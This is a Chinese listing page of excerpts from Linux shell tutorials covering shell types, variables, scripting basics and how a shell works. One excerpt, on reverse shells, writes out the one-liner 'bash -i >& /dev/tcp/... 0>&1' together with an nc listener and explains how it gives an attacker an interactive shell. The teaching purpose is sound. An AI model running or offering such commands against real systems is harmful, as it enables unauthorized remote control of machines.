首页
学习
活动
专区
圈层
工具
发布

Linux——shell

什么是shell? shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口(命令解释器) 。它接收用户输入的命令并把它送入内核去执行。起着用户与系统之间进行交互的作用。 ?...shell的功能: 命令行解释 命令的多种执行顺序 通配符 命令补全、别名机制、命令历史 I/O重定向 管道 命令替换(` ` 或$( ) ) shell编程语言 shell可以执行——内部命令、外部命令...shell命令分为: 内部(内置)命令 内部命令是shell本身包含的一些命令,这些内部命令的代码是整个shell代码的一个组成部分; 内部命令的执行是shell通过执行自己的代码中的相应部分来完成的...外部(外置)命令 外部命令的代码则存放在一些二进制的可执行文件或者shell脚本中; 外部命令执行时,shell会在文件系统中指定的一些目录去搜索相应的文件,然后调入内存执行。...shell变量PATH中 ?

14.1K30
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    linux shell编程

    什么是shell  shell扮演者操作系统内核和用户的中间人的角色,用户通过键入shell command,然后shell通过解析用户输入,然后将请求转发给操作系统的内核进行处理。 1....还是hello world程序  首先使用vim编辑器(或者是linux下任意的文本编辑器)编写文件helloshell.sh(没有必要使用.sh后缀名):  #!.../bin/sh                                osch=0 echo "1. unix(sun os)" echo "2. linux(red hat)" echo ...        #         # nested if         if [ $osch -eq 2 ]         then                 echo "you pick up linux..."         else                 echo "what you donot like unix/linux"         fi fi #!

    15.2K30

    Linux反弹shell

    2345bash -i:打开一个bash交互界面 >:重定向 /dev/tcp:调用建立一个socket连接 127.0.0.1:可以任意更改需要反弹到的IP地址 2345:反弹到的端口 上面的是一个典型的反弹shell...的语句,但是这种不能实时地在攻击机输入,攻击机输出,只能在靶机输入东西,然后在攻击机看到 image.png 攻击机使用 nc -lvp 2200监听反弹回来地shell,然后等靶机输入东西后,攻击机才能获取到内容...,攻击机不能传输命令 1.2second bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 这种就是交互式shell了 &:标准错误输出重定向输出 0>&1:简单一点理解就是将我们在攻击机输入的命令当成靶机输入...,然后靶机返回内容时又重定向攻击机,也就是交互界面,打开了一个shell窗口,随意可以在攻击机执行命令,然后在攻击机输出结果,这么一个意思 0:标准输入 1:标准输出 2:标准错误输出 &:是为了区分标准输出和文件描述符...2>&1 和上面的效果一样 1.4fourth bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 值得一提的是,">&"相当于"2>&1",标准错误输出 一个标准的反弹shell

    13.1K00

    linux之shell

    当然shell也是linux的解释器,本篇我们先来了解下这个解释器。 shell解释器 shell也叫壳,区别与操作系统内核。比如一个不同国家的人交流需要一个翻译官,那么shell就是这个翻译官。...shell是负责用户,负责接受用户的指令,解释并运行,将需要执行的操作给操作内核。 shell的常见种类 sh 由 Bourne shell 开发,为了纪念大佬,就用了他的名字命名了。...sh也是第一个流行的shell。 csh C shell 语法和C语言比较类似。 ksh 集合了 csh 和 sh 的优点,并且和sh兼容。...bash 与sh完全兼容,sh的的扩展版本,在sh上增加了新特性,补全命令,命令编辑器和历史命令等功能也是linux默认的shell。...linux默认的shell解释器 linux 默认的 shell 解释器是bash,在/bin目录下。

    10.5K50

    Linux 学习_shell

    Linux提供了像MicrosoftWindows那样的可视的命令输入界面--X Window的图形用户界面(GUI)。...每个Linux系统的用户可以拥有他自己的用户界面或Shell,用以满足他们自己专门的Shell需要。   同Linux本身一样,Shell也有多种不同的版本。...Korn Shell:是对Bourne SHell的发展,在大部分内容上与Bourne Shell兼容。   C Shell:是SUN公司Shell的BSD版本。   ...如下图:系统中的三种shell ================================================================ 在Linux系统中,我们要查看我们当前是使用哪种...shell,我们可以这样做:   env | more 如图: 我们也可以修改当前的shell: chsh -s 新的shell 系统中的shell如下图: 新的shell可以是:   /bin/

    9.9K20

    Linux shell 变量详解

    shell变量var_name="runoob",变量名和等号之间不能有空格,因为空格通常用于分隔命令和参数使用变量:$var_name、${var_name},加大括号是为了帮助解释器识别变量的边界。...上一个命令的退出状态码$_ 上一个命令的最后一个参数$- 当前shell选项标记!!...参数扩展shell命令执行顺序分词 (Tokenization):分割成 tokens: echo, "当前目录: $PWD", *.txt展开 (Expansion):参数展开在这里发生 a....shell 变量扩展发生在命令执行前# 无引号:Shell 扩展echo *.txt # Shell 扩展# 单引号:完全字面echo '*.txt' # 输出: *...word} - 如果变量 variable 已被设置且非空,则展开为变量的值;否则,打印错误消息至标准错误并退出 shell,错误消息包含 word字符删除${variable#pattern} 删除

    22800

    Linux Shell编程入门

    从程序员的角度来看, Shell本身是一种用C语言编写的程序,从用户的角度来看,Shell是用户与Linux操作系统沟通的桥梁。...用户既可以输入命令执行,又可以利用 Shell脚本编程,完成更加复杂的操作。在Linux GUI日益完善的今天,在系统管理等领域,Shell编程仍然起着不可忽视的作用。...深入地了解和熟练地掌握Shell编程,是每一个Linux用户的必修 功课之一。...Linux的Shell种类众多,常见的有:Bourne Shell(/usr/bin/sh或/bin/sh)、Bourne Again Shell(/bin/bash)、C Shell(/usr/bin...在Shell脚本中可以使用所有的Linux命令,利用上面的cat和exit,从一方面来说,熟练使用Linux命令也可以大大减少Shell脚本的长度。

    2.2K20

    Linux常用shell种类

    定义: 1.shell是一个用C语言编写的程序,它是用户使用Linux的桥梁。shell既是一种命令语言,又是一种程序设计语言。...我们通常所说的shell都是指shell脚本,但是shell和shell script是两个不同的概念。...不同的shell具备不同的功能,shell还决定了Linux中默认的shell是**/bin/bash**,流行的shell有**ash、bash、ksh、csh、zsh**等,不同的shell都有自己的特点以及用途...bash 大多数Linux系统默认使用的shell,bash shell是Bourne shell 的一个免费版本,它是最早的Unix shell,bash还有一个特点,可以通过help命令 来查看帮助...nologin 指用户不能登录 zsh 目前Linux里最庞大的一种shell:zsh。它有84个内部命令,使用起来也比较复杂。一般情况下,不会使用该shell。

    3.5K21

    Linux之Shell编程

    Shell 编程 1.1 shell 示例图: image.png Shell 是一个命令行解释器, 它为用户提供了一个向 Linux 内核发送请求以便运行程序的界面系统级程序, 用户可以用 Shell...来启动、 挂起、 停止甚至是编写一些程序. 1.2 shell 编程快速入门-shell 脚本的执行方式 1.2.1 脚本格式要求 脚本以#!.../bin/bash 开头 执行脚本需要有执行的权限 1.2.2 编写第一个 shell 脚本 需求说明 创建一个 shell 脚本, 输出 hello world! 案例 #!...的变量 1.3.1 shell 的变量的介绍 linux shell 变量分为,系统变量和用户自定义变量 系统变量 : HOME、PWD、 SHELL、 USER 等等 比如: echo $HOME...in "值 1") 如果变量的值等于值 1, 则执行程序 1 ;; "值 2") 如果变量的值等于值 2, 则执行程序 2 ;; …省略其他分支… *) 如果变量的值都不是以上的值, 则执行此程序 Linux

    2.5K20

    Linux shell 程序设计4——shell变量

    1、shell变量没有类型,所有变量都被当作字符串来处理。 2、shell变量的命名和c语言相同。...3、shell变量赋值和c语言略有不同,shell赋值要求等号的两边不能出现空格,而在linux C 中,一般为了增强代码的可读性,等号的两边都加一个空格。..." echo -e "name:$name\nversion:$version" 执行结果: name:linux-headers-2.6.24 version:2.6.24 5、shell变量的作用范围是本...echo $os_name 命令,我们会得到: linux 6、有一种能继承给子shell的变量,称之为环境变量。...而如果在终端中使用命令: export a=linux 然后执行上述脚本,我们的到结果: linux 7、shell内置变量:bash设置了许多内置变量,在进行shell程序设计的时候可能需要用到。

    2.4K60
    领券